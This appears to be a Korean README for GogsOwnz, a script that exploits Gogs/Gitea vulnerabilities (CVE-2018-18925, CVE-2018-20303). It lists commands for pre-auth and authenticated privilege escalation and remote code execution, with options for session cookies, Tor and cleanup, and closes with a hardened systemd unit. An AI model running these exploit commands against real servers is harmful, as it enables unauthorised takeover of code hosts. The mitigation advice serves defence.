
Gogs CVEs
GogsOwnz는 Gogs/Gitea 서버에서 관리자 권한과 RCE를 획득하기 위한 간단한 스크립트입니다.
Gogs/Gitea의 취약점(CVE-2018-18925, CVE-2018-20303 포함)을 악용합니다.
법적 고지 이 스크립트는 있는 그대로 제공됩니다. 어떠한 보증도 없으며, 본인의 책임 하에 사용하고 법을 준수하시기 바랍니다.
실행 중인 Gogs/Gitea 정보 가져오기
python3 gogsownz.py https://127.0.0.1:3000/ -v --info
사전 인증 PrivEsc 악용
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth
PrivEsc 악용
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup
또는
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup
사전 인증 RCE 악용
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup
인증 RCE 악용
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup
전체 사용법
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
[--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
[--check-tor] [--burp] [-k] [--verbose]
url
positional arguments:
url Gogs 서버의 URL
optional arguments:
-h, --help 도움말 메시지를 표시하고 종료
-C CREDS, --creds CREDS
Gogs 서버의 자격 증명, "username:password" 형식
-n COOKIENAME, --cookie-name COOKIENAME
Gogs 특정 세션 쿠키의 이름
-c COOKIE, --cookie COOKIE
Gogs 서버의 세션, i_like_gogits 쿠키의 값
-i, --info 실행 중인 Gogs 서버의 정보만 탐지하고 종료
--rce RCE Gogs 서버에서 실행할 명령
--repo REPO PrivEsc에 기존 저장소 사용
--preauth 사전 인증 취약점 시도
--windows Gogs 서버가 Windows에서 실행 중
--cleanup 악용 후 생성된 모든 저장소 제거
--tor 요청 시 Tor 프록시 사용
--check-tor 실행 전 Tor가 올바르게 설정되었는지 확인
--burp 요청 시 Burp 프록시 사용
-k, --insecure SSL 사용 시 안전하지 않은 서버 연결 허용
--verbose, -v
다음 분들께 감사드립니다:
https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf
systemd 유닛 파일을 설정할 때 주의를 기울이면 악용이 어느 정도 제한된다는 사실을 알게 되어 기쁠 것입니다:
[Unit]
Description=Gogs
After=syslog.target
After=network.target
[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs
# 일부 배포판에서는 이러한 강화 지시어를 지원하지 않을 수 있습니다. 알 수 없는 옵션으로 인해 서비스를 시작할 수 없는 경우
# 시스템드 버전에서 지원하지 않는 옵션을 주석 처리하십시오.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
이렇게 하면 적어도 파일 시스템 접근이 systemd에서 생성된 임시 파일 시스템으로 제한됩니다. 도움이 되지만, 권한 상승을 패치하고 관리자를 절대 부여하지 않는 것이 좋습니다.